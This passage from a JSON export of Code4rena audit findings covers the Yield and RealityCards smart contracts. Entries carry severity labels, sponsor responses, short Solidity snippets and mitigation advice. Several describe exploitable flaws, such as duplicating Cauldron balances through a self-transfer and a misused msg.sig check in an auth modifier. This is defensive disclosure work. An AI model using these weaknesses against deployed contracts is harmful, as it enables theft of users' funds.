batches that have only build or a subset of the operations that do not make sense to the protocol\u2019s operations per valid recipes, which could be an attacker\u2019s signature pattern. "}, {"title": "Missing zero-address validations\u2028", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/42", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-05-yield-findings", "body": "Missing zero-address validations\u2028"}, {"title": "Missing checks on debt max/min limits could cause pour to revert", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/41", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact setDebtLimits() is used to set the maximum and minimum debt for an underlying and ilk pair. The assumption is that max will be greater than min while setting them because otherwise the debt checks in _pour() for line/dust will fail and revert. While max and min debt limits can be reset, it is safer to perform input validation on them in setDebtLimits(). ## Proof of Concept A recipe incorrectly interchanges the values of min and max debt which leads to exceptions in pouring into the vaults. https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Cauldron.sol#L91-L92 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Cauldron.sol#L319-L322 https://github.com/code-423n4/2021-05-yield/blob/e4c8491cd7bfa5dc1b59eb1b257161cd5bf8c6b0/contracts/Wand.sol#L79 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add a check to ensure max > mix. "}, {"title": "ERC20 approve is vulnerable to the front-running", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/38", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-05-yield-findings", "body": "ERC20 approve is vulnerable to the front-running"}, {"title": "UniswapV3Oracle function _peek is public", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/37", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle pauliax # Vulnerability details ## Impact In contract UniswapV3Oracle function _peek has visibility of public while the name and similar functions in other oracles are declared as private. ## Recommended Mitigation Steps give _peek private visibility. "}, {"title": "no need for transferToPool to be payable", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/36", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function transferToPool is marked as 'payable'. It only transfers ERC20 tokens, no Ether, so there is no need in having 'payable' here. ## Recommended Mitigation Steps Remove 'payable' modifier from function transferToPool. "}, {"title": "_burnInternal always returns 0 for fy tokens returned", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/35", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Function _burnInternal always returns 0 as a third parameter. It should return tokensBurnt, tokenOut, fyTokenOut. ## Recommended Mitigation Steps return (tokensBurned, tokenOut, fyTokenOut); "}, {"title": "Unsafe call to `.decimals`", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/32", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle cmichel # Vulnerability details The `FYToken.constructor` performs an external call to `IERC20Metadata(address(IJoin(join_).asset())).decimals()`. This function was optional in the initial ERC-20 and might fail for old tokens that therefore did not implement it. ## Impact FyTokens cannot be created for tokens that implemented the old initial ERC20 without the `decimals` function. ## Recommended Mitigation Steps Consider using the helper function in the utils to retrieve it `SafeERC20Namer.tokenDecimals`, the same way the `Pool.constructor` works. "}, {"title": "Undercollateralized vaults' owner can be overwritten", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/30", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle cmichel # Vulnerability details The witch can `Witch.grab` vaults and the `vaultOwners[vaultId]` field is set to the original owner. However, when the auction time is over and the debt has not been fully paid back, the original owner is not restored, and the witch can grab the same vault again, overwriting the original owner `vaultOwners[vaultId]` field permanently with the witch. ```solidity function grab(bytes12 vaultId) public { DataTypes.Vault memory vault = cauldron.vaults(vaultId); vaultOwners[vaultId] = vault.owner; cauldron.grab(vaultId, address(this)); } ``` Even a full repayment will not restore the original vault owner anymore. ## Impact No funds will be stuck as the vault can still be correctly liquidated (calling `settle`). However, the vault owner will not be restored which is bad if it is a valuable vaultId (low number) that has a special meaning or would be used as an NFT/for retroactive airdrops for initial liquidity providers down the road. ## Recommended Mitigation Steps When grabbing check if `vaultOwners[vaultId]` is already the witch and in that case just do an early return of the function - not overwriting the `vaultOwners[vaultId]` field. "}, {"title": "Uniswap Oracle uses wrong prices", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/26", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-05-yield-findings", "body": "Uniswap Oracle uses wrong prices"}, {"title": "Inefficient Witch buy", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/25", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-05-yield-findings", "body": "Inefficient Witch buy"}, {"title": "Implicit unsafe math", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/24", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-05-yield-findings", "body": "# Handle cmichel # Vulnerability details `Ladle._close` (and many other occurrences) reverts the transaction on certain signed inputs that are negated and cast to unsigned integers. ```solidity // Ladle._close calling it with art or ink as type(int128).min will crash uint128 amt = _debtInBase(vault.seriesId, series, uint128(-art)); ilkJoin.exit(to, uint128(-ink)) // explanation int128 art = type(int128).min; // -2^127 uint128 amt = uint128(-art); // this fails as -art=--2^127=2^127 cannot be represented in int128 ``` Other places: - `CauldronMath.add` - `Ladle._pour` - everywhere where `-int*` is used ## Impact One cannot use the actual `type(int128).min` value for function parameters. ## Recommended Mitigation Steps Revert with a meaningful error message as is done in the `/math/Cast*` functions. "}, {"title": "enum TokenType is never used", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/21", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle pauliax # Vulnerability details ## Impact enum TokenType in library PoolDataTypes is not used anywhere. ## Recommended Mitigation Steps Either remove it or use it where intended. "}, {"title": "Useless 'auth' modifier in setSources", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/20", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function setSources in Oracle contracts does not need 'auth' modifier as it will be checked anyway in function setSource. This does not impact the security, it is just a useless check that can be removed. ## Recommended Mitigation Steps Remove 'auth' modifer from function setSources. "}, {"title": "'peek' and 'get' are identical (non-transactional)", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "disagree with severity"], "target": "2021-05-yield-findings", "body": "# Handle pauliax # Vulnerability details ## Impact In the contract ChainlinkMultiOracle both functions 'peek' and 'get' are identical. They are declared as views while based on IOracle interface 'get' should be transactional. "}, {"title": "Duplication of Balance", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/16", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle 0xsomeone # Vulnerability details ## Impact It is possible to duplicate currently held `ink` or `art` within a Cauldron, thereby breaking the contract's accounting system minting units out of thin air. ## Proof of Concept The `stir` function of the `Cauldron`, which can be invoked via a `Ladle` operation, caches balances in memory before decrementing and incrementing. As a result, if a transfer to self is performed, the assignment `balances[to] = balancesTo` will contain the added-to balance instead of the neutral balance. This allows one to duplicate any number of `ink` or `art` units at will, thereby severely affecting the protocol's integrity. A similar attack was exploited in the third bZx hack resulting in a roughly 8 million loss. Code Referenced: https://github.com/code-423n4/2021-05-yield/blob/main/contracts/Cauldron.sol#L268-L295 ## Tools Used Manual Review. ## Recommended Mitigation Steps A `require` check should be imposed that prohibits the `from` and `to` variables to be equivalent. "}, {"title": "Avoid assembly in getRevertMsg ", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/15", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function getRevertMsg of RevertMsgExtractor.sol uses assembly to retrieve revert information. The latest solidity version have new functions that allows you to retrieve information without assembly. ## Proof of Concept // https://github.com/code-423n4/2021-05-yield/blob/main/contracts/utils/RevertMsgExtractor.sol function getRevertMsg(bytes memory returnData) internal pure returns (string memory) { .. assembly { // Slice the sighash. returnData := add(returnData, 0x04) } ## Tools Used ## Recommended Mitigation Steps Below is a piece of code showing the new functionality: pragma solidity ^0.8.1; contract ContractError { function Underflow() public pure returns (uint) { uint x = 0; x--; // this will generate an underflow return x; } function UncheckedUnderflow() public pure returns (uint) { uint x = 0; unchecked { x--; } // this will generate an underflow return x; } } contract C { ContractError e = new ContractError(); function TestUnderflow() public view returns (string memory) { try e.Underflow() returns (uint) { return \"Ok\"; } catch Error(string memory reason) { return reason; } catch Panic(uint _code) { if (_code == 0x01) { return \"Assertion failed\"; } else if (_code == 0x11) { return \"Underflow/overflow\"; } // We ignore the other errors. return \"Other Panic\"; } catch (bytes memory reason) { uint x=0; for (uint i=0;i<4;i++) //get first 4 bytes x = (x<<8) + uint(uint8(reason[i])); if (x == 0x08c379a0) // abi.encodeWithSignature(\"Error(string)\") return \"Error\"; return \"Unknown\"; } } } "}, {"title": "PoolFactory and JoinFactory very similar", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/14", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact PoolFactory and JoinFactory contain very similar but also relatively complicated code. // https://github.com/code-423n4/2021-05-yield/blob/main/contracts/yieldspace/PoolFactory.sol // https://github.com/code-423n4/2021-05-yield/blob/main/contracts/JoinFactory.sol The risk is that future changes/improvements in one contract might not be updated in the other. ## Proof of Concept ## Tools Used Editor ## Recommended Mitigation Steps Consider refactoring the code where the core code is put in a library and reused from both of the contracts. "}, {"title": "Constants \"chi\" and \"rate\"", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/13", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-05-yield-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact Several implementations of the value of \"chi\" and \"rate\" are used, sometimes as constant and sometimes the direct value is used, see proof of concept below. The risk is that if it is changed in one place if might not be changed in another place, leading to bugs. ## Proof of Concept // https://github.com/code-423n4/2021-05-yield/blob/main/contracts/Wand.sol#L26 bytes6 public constant CHI = \"chi\"; bytes6 public constant RATE = \"rate\"; // https://github.com/code-423n4/2021-05-yield/blob/main/contracts/FYToken.sol#L27 bytes32 constant CHI = \"chi\"; //https://github.com/code-423n4/2021-05-yield/blob/main/contracts/oracles/compound/CompoundMultiOracle.sol#L40 function _peek(bytes6 base, bytes6 kind) private view returns (uint price, uint updateTime) { ... if (kind == \"rate\") rawPrice = CTokenInterface(source).borrowIndex(); else if (kind == \"chi\") rawPrice = CTokenInterface(source).exchangeRateStored(); ## Tools Used grep ## Recommended Mitigation Steps Define the constants for \"chi\" and \"rate\" on one location and include this where required. "}, {"title": "Several todos left in the code", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/9", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The code still has some todos, which should be resolved before production ## Proof of Concept Ladle.sol: weth.deposit{ value: ethTransferred }(); // TODO: Test gas savings using WETH10 `depositTo` Ladle.sol: weth.withdraw(ethTransferred); // TODO: Test gas savings using WETH10 `withdrawTo` Wand.sol: cauldron.setRateOracle(assetId, IOracle(address(oracle))); // TODO: Consider adding a registry of chi oracles in cauldron as well Wand.sol: ); // TODO: Use a FYTokenFactory to make Wand deployable at 20000 runs Wand.sol: name, // Derive from base and maturity, perhaps Wand.sol: symbol // Derive from base and maturity, perhaps ## Tools Used Grep ## Recommended Mitigation Steps Check and fix or remove the todos "}, {"title": "Witch can't give back vault after 2x grab", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/8", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The witch.sol contract gets access to a vault via the grab function, in case of liquidation. If the witch.sol contract can't sell the debt within a certain amount of time, a second grab can occur. After the second grab, the information of the original owner of the vault is lost and the vault can't be returned to the original owner once the debt has been sold. The grab function stores the previous owner in vaultOwners[vaultId] and then the contract itself is the new owner (via cauldron.grab and cauldron._give). The vaultOwners[vaultId] is overwritten at the second grab The function buy of Witch.sol tried to give the vault back to the original owner, which won't succeed after a second grab. ## Proof of Concept // https://github.com/code-423n4/2021-05-yield/blob/main/contracts/Witch.sol#L50 function grab(bytes12 vaultId) public { DataTypes.Vault memory vault = cauldron.vaults(vaultId); vaultOwners[vaultId] = vault.owner; cauldron.grab(vaultId, address(this)); } // https://github.com/code-423n4/2021-05-yield/blob/main/contracts/Cauldron.sol#L349 function grab(bytes12 vaultId, address receiver) external auth { ... _give(vaultId, receiver); // https://github.com/code-423n4/2021-05-yield/blob/main/contracts/Cauldron.sol#L349 function _give(bytes12 vaultId, address receiver) internal returns(DataTypes.Vault memory vault) { ... vault.owner = receiver; vaults[vaultId] = vault; // https://github.com/code-423n4/2021-05-yield/blob/main/contracts/Witch.sol#L57 function buy(bytes12 vaultId, uint128 art, uint128 min) public { .... cauldron.give(vaultId, vaultOwners[vaultId]); ## Tools Used Editor ## Recommended Mitigation Steps Assuming it's useful to give back to vault to the original owner: Make a stack/array of previous owners if multiple instances of the witch.sol contract would be used. Or check if the witch is already the owner (in the grab function) and keep the vaultOwners[vaultId] if that is the case "}, {"title": "auth collision possible", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/5", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged", "disagree with severity"], "target": "2021-05-yield-findings", "body": "auth collision possible"}, {"title": "auth only works well with external functions", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/4", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-05-yield-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The auth modifier of AccessControl.sol doesn't work as you would expect. It checks if you are authorized for \"msg.sig\", however msg.sig is the signature of the first function you have called, not of the current function. So if you call function A, which calls function B, the \"auth\" modifier of function B checks if you are authorized for function A! There is a difference between external an public functions. For external functions this works as expected because a fresh call (with a new msg.sig) is always made. However with a public functions, which are called from within the same contract, this doesn't happen and the problem described above occurs. See in the proof of concept for a piece of code which shows the problem. In the code there are several functions which have public and auth combined, see also in the proof of concept . In the current codebase I couldn't find a problem situation, however this could be accidentally introduced with future changes. If could also be introduced via the _moduleCall of Ladle.sol, which allows functions to be defined which might call the public functions. ## Proof of Concept ### auth // https://github.com/code-423n4/2021-05-yield/blob/main/contracts/utils/access/AccessControl.sol#L90 modifier auth() { require (_hasRole(msg.sig, msg.sender), \"Access denied\"); _; } ### example pragma solidity ^0.8.0; contract TestMsgSig { event log(bytes4); function setFeePublic(uint256) public { emit log(this.setFeePublic.selector); emit log(msg.sig); } function setFeeExternal(uint256) external { emit log(this.setFeeExternal.selector); emit log(msg.sig); } function TestPublic() public { setFeePublic(2); } function TestExternal() public { this.setFeeExternal(2); } } ### occurrences of public auth Wand.sol: function addAsset(bytes6 assetId,address asset) public auth { Wand.sol: function makeBase(bytes6 assetId, IMultiOracleGov oracle, address rateSource, address chiSource) public auth { Wand.sol: function makeIlk(bytes6 baseId, bytes6 ilkId, IMultiOracleGov oracle, address spotSource, uint32 ratio, uint96 max, uint24 min, uint8 dec) public auth { Wand.sol: function addSeries(... ) public auth { Witch.sol: function setAuctionTime(uint128 auctionTime_) public auth { Witch.sol: function setInitialProportion(uint128 initialProportion_) public auth { Ladle.sol: function setFee(uint256 fee) public auth Join.sol: function setFlashFeeFactor(uint256 flashFeeFactor_) public auth { oracles\\chainlink\\ChainlinkMultiOracle.sol: function setSource(bytes6 base, bytes6 quote, address source) public auth { oracles\\chainlink\\ChainlinkMultiOracle.sol: function setSources(bytes6[] memory bases, bytes6[] memory quotes, address[] memory sources_) public auth { oracles\\compound\\CompoundMultiOracle.sol: function setSource(bytes6 base, bytes6 kind, address source) public auth { oracles\\compound\\CompoundMultiOracle.sol: function setSources(bytes6[] memory bases, bytes6[] memory kinds, address[] memory sources_) public auth { oracles\\uniswap\\UniswapV3Oracle.sol: function setSecondsAgo(uint32 secondsAgo_) public auth { oracles\\uniswap\\UniswapV3Oracle.sol: function setSource(bytes6 base, bytes6 quote, address source) public auth { oracles\\uniswap\\UniswapV3Oracle.sol: function setSources(bytes6[] memory bases, bytes6[] memory quotes, address[] memory sources_) public auth { fytoken.sol: function setOracle(IOracle oracle_) public auth { ## Tools Used grep ## Recommended Mitigation Steps make sure all auth functions use external (still error prone) or change the modifier to something like: modifier auth(bytes4 fs) { require (msg.sig == fs,\"Wrong selector\"); require (_hasRole(msg.sig, msg.sender), \"Access denied\"); _; } function setFee(uint256) public auth(this.setFee.selector) { ..... } "}, {"title": "Use constants for numbers", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/3", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-05-yield-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact At several places constants are hardcoded as numbers. It's more readable and more maintainable to turn them into explicit constants. That also lowers to risk to change it on one place and forget is on another place. See examples in proof of concept ## Proof of Concept .\\Insurance.sol: if (publicCollateralAmount > 10**18) { .\\Insurance.sol: amount = poolHoldings - 10**18; .\\Insurance.sol: publicCollateralAmount = 10**18; .\\Insurance.sol: if (publicCollateralAmount < 10**18) { .\\Insurance.sol: } else if (poolHoldings - amount < 10**18) { .\\Insurance.sol: amount = poolHoldings - 10**18; .\\Insurance.sol: publicCollateralAmount = 10**18; .\\Insurance.sol: uint256 multiplyFactor = 36523 * (10**11); .\\Insurance.sol: return tracer.leveragedNotionalValue() / 100; .\\oracle\\GasOracle.sol: uint8 public override decimals = 18; .\\lib\\libprices.sol: for (uint256 i = 0; i < 8; i++) { .\\lib\\libprices.sol: uint256 currTimeWeight = 8 - i; .\\lib\\LibPrices.sol: return (averageTracerPrice.toInt256() - averageOraclePrice.toInt256()) / 90; .\\lib\\LibBalances.sol: uint256 adjustedLiquidationGasCost = liquidationGasCost * 6; .\\lib\\LibPerpetuals.sol: percentFull = percentFull * 100; // To bring it up to the same percentage units as everything else .\\Liquidation.sol: uint256 public override minimumLeftoverGasCostMultiplier = 10; ## Tools Used ## Recommended Mitigation Steps Replace numeric values with constants "}, {"title": "YieldMath.sol / Log2: >= or > ?", "html_url": "https://github.com/code-423n4/2021-05-yield-findings/issues/2", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-05-yield-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The V1 version of YieldMath.sol contains \">=\" (larger or equal), while the V2 version of YieldMath.sol containt \">\" (larger) in the log_2 function. This change doesn't seem logical and might lead to miss calculations. The difference is present in a number of adjacent lines. ## Proof of Concept // https://github.com/yieldprotocol/yieldspace-v1/blob/master/contracts/YieldMath.sol#L217 function log_2 (uint128 x) ... b = b * b >> 127; if (b >= 0x100000000000000000000000000000000) {b >>= 1; l |= 0x1000000000000000000000000000000;} //https://github.com/code-423n4/2021-05-yield/blob/main/contracts/yieldspace/YieldMath.sol#L58 function log_2(uint128 x) ... b = b * b >> 127; if(b > 0x100000000000000000000000000000000) {b >>= 1; l |= 0x1000000000000000000000000000000;} ## Tools Used diff ## Recommended Mitigation Steps Check which version is the correct version and fix the incorrect version. "}, {"title": "Function `foreclosureTimeUser` returns a shorter user's foreclosure time than expected", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/171", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle shw # Vulnerability details ## Impact The function `foreclosureTimeUser` of `RCTreasury` underestimates the user's foreclosure time if the current time is not the user's last rent calculation time. The underestimation of the foreclosure time could cause wrong results when determining the new owner of the card. ## Proof of Concept The variable `timeLeftOfDeposit` at line 668 is calculated based on `depositAbleToWithdraw(_user)`, the user's deposit minus the rent from the last rent calculation to the current time. Thus, the variable `timeLeftOfDeposit` indicates the time left of deposit, starting from now. However, at line 672, the `foreclosureTimeWithoutNewCard` is calculated by `timeLeftOfDeposit` plus the user's last rent calculation time instead of the current time. As a result, the user's foreclosure time is reduced. From another perspective, the rent between the last rent calculation time and the current time is counted twice. Referenced code: [RCTreasury.sol#L642-L653](https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCTreasury.sol#L642-L653) [RCTreasury.sol#L669](https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCTreasury.sol#L669) [RCTreasury.sol#L672](https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCTreasury.sol#L672) [RCTreasury.sol#L678](https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCTreasury.sol#L678) [RCOrderbook.sol#L553-L557](https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/RCOrderbook.sol#L553-L557) ## Recommended Mitigation Steps Change `depositAbleToWithdraw(_user)` at line 669 to `user[_user].deposit`. Or, change `user[_user].lastRentCalc` at both line 672 and 678 to `block.timestamp`. "}, {"title": "The `domainSeperator` is not recalculated after a hard fork happens", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/166", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-realitycards-findings", "body": "# Handle shw # Vulnerability details ## Impact The variable `domainSeperator` in `EIP712Base` is cached in the contract storage and will not change after the contract is initialized. However, if a hard fork happens after the contract deployment, the `domainSeperator` would become invalid on one of the forked chains due to the `block.chainid` has changed. ## Proof of Concept Referenced code: [EIP712Base.sol#L25-L44](https://github.com/code-423n4/2021-06-realitycards/blob/main/contracts/lib/EIP712Base.sol#L25-L44) ## Recommended Mitigation Steps Consider using the [implementation](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/draft-EIP712.sol) from OpenZeppelin, which recalculates the domain separator if the current `block.chainid` is not the cached chain ID. "}, {"title": "maxContractBalance can be bypassed", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/163", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-06-realitycards-findings", "body": "maxContractBalance can be bypassed"}, {"title": "Use Mode instead of uint in RCFactory to make code much more readable", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/162", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle a_delamo # Vulnerability details On `RCFactory` is using uint to represent the enum Mode while on RCMarket is using the enum directly. It would make the code much readable if RCFactory would use Mode directly. "}, {"title": "Gas optimizations - Remove isMarket from RCMarket", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/161", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle a_delamo # Vulnerability details ## Impact `RCMarket` contains the constant variable `isMarket` to indicate it is a Market `bool public constant override isMarket = true;`. This is after used in `RCFactory` ``` function changeMarketApproval(address _market) external onlyGovernors { require(_market != address(0)); // check it's an RC contract IRCMarket _marketToApprove = IRCMarket(_market); assert(_marketToApprove.isMarket()); isMarketApproved[_market] = !isMarketApproved[_market]; emit LogMarketApproved(_market, isMarketApproved[_market]); } ``` Why not use `mappingOfMarkets` to verify the address is a Market? This would reduce the state space used. "}, {"title": "`RCNftHubL2.safeTransferFrom` not accoring to spec", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/160", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `RCNftHubL2.safeTransferFrom` function does not correctly implement the ERC721 spec: > When using safeTransferFrom, the token contract checks to see that the receiver is an IERC721Receiver, which implies that it knows how to handle ERC721 tokens. [ERC721](https://docs.openzeppelin.com/contracts/2.x/api/token/erc721#IERC721-safeTransferFrom) This check is not implemented, it just drops the `_data` argument. ## Impact Contracts that don't know how to handle ERC721 tokens (are not an `IERC721Receiver`) can accept them but they should not when using `safeTransferFrom` according to spec. ## Recommended Mitigation Steps Implement the `IERC721Receiver` check in `safeTransferFrom`. "}, {"title": "Dangerous toggle functions", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/157", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-realitycards-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details Usually one tries to avoid toggle functions in blockchains, because it could be that you think that the first transaction you sent was not correctly submitted (but it's just pending for a long time), or you might even be unaware that it was already sent if multiple roles can set it (like with `changeMarketApproval` / `onlyGovernors`) or if it's an msig. This results in potentially double-toggling the state, i.e, it is set to the initial value again. Some example functions: `changeMarketCreationGovernorsOnly`, `changeMarketApproval`, and the ones that follow. ## Impact The outcome of toggle functions is hard to predict on blockchains due to the very async nature and lack of information about pending transactions. ## Recommended Mitigation Steps Use functions that accept a specific value as a parameter instead. "}, {"title": "uberOwner cannot do all the things an owner can", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/156", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-06-realitycards-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `uberOwner` cannot do the same things the owner can. They can \"only\" set the reference contract for the market. The same ideas apply to `Treasury` and `Factory`'s `uberOwner`. ## Impact The name is misleading as it sounds like the uber-owner is more powerful than the owner. ## Recommended Mitigation Steps Uberowner should at least be able to set the owner if not be allowed to call all functions that an `owner` can. Alternatively, rename the `uberOwner`. "}, {"title": "Unbounded iteration on _cardAffiliateAddresses", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/154", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `Factory.createMarket` iterates over all `_cardAffiliateAddresses`. ## Impact The transactions can fail if the arrays get too big and the transaction would consume more gas than the block limit. This will then result in a denial of service for the desired functionality and break core functionality. ## Recommended Mitigation Steps Perform a `_cardAffiliateAddresses.length == 0 || _cardAffiliateAddresses.length == tokenUris.length` check in `createMarket` instead of silently skipping card affiliate cuts in `Market.initialize`. This would restrict the `_cardAffiliateAddresses` length to the `nftMintingLimit` as well. "}, {"title": "Deposits can be denied by abusing `maxContractBalance`", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/153", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-06-realitycards-findings", "body": "Deposits can be denied by abusing `maxContractBalance`"}, {"title": "Deposits don't work with fee-on transfer tokens", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/152", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2021-06-realitycards-findings", "body": "Deposits don't work with fee-on transfer tokens"}, {"title": "Market-specific pause is not checked for sponsor", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/145", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "disagree with severity", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The treasury only checks its `globalPause` field but does not check its market-specific `marketPaused` field for `Treasury.sponsor`. A paused market contract can therefore still deposit as a sponsor using `Market.sponsor` ## Impact The market-specific pause does not work correctly. ## Recommended Mitigation Steps Add checks for `marketPaused` in the Treasury for `sponsor`. "}, {"title": "Gas Optimizations - Use storage or memory to reduce reads", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/140", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-06-realitycards-findings", "body": "Gas Optimizations - Use storage or memory to reduce reads"}, {"title": "Gas optimizations - Duplicated state variable ", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/139", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle a_delamo # Vulnerability details ## Impact On `RCOrderbook`, there are duplicated the state variable `treasuryAddress` and `treasury` ``` address public treasuryAddress; IRCTreasury public treasury; ``` ``` constructor(address _factoryAddress, address _treasuryAddress) { factoryAddress = _factoryAddress; treasuryAddress = _treasuryAddress; treasury = IRCTreasury(treasuryAddress); uberOwner = msgSender(); } ``` "}, {"title": "totalNftMintCount can be replaced with ERC721 totalSupply()", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/134", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-06-realitycards-findings", "body": "# Handle pauliax # Vulnerability details ## Impact I can't find a reason why totalNftMintCount in Factory can't be replaced with ERC721 totalSupply() to make it less error-prone. As nfthub.mint issues a new token it should automatically increment totalSupply and this assignment won't be needed: totalNftMintCount = totalNftMintCount + _tokenURIs.length; Also in function setNftHubAddress you need to manually set _newNftMintCount if you want to change nfthub so an invalid value may crash the system. totalSupply() will eliminate totalNftMintCount and make the system more robust. ## Recommended Mitigation Steps Replace totalNftMintCount with nfthub totalSupply() in Factory contract. "}, {"title": "Shadowing Local Variables found in RCOrderbook.sol", "html_url": "https://github.com/code-423n4/2021-06-realitycards-findings/issues/124", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": 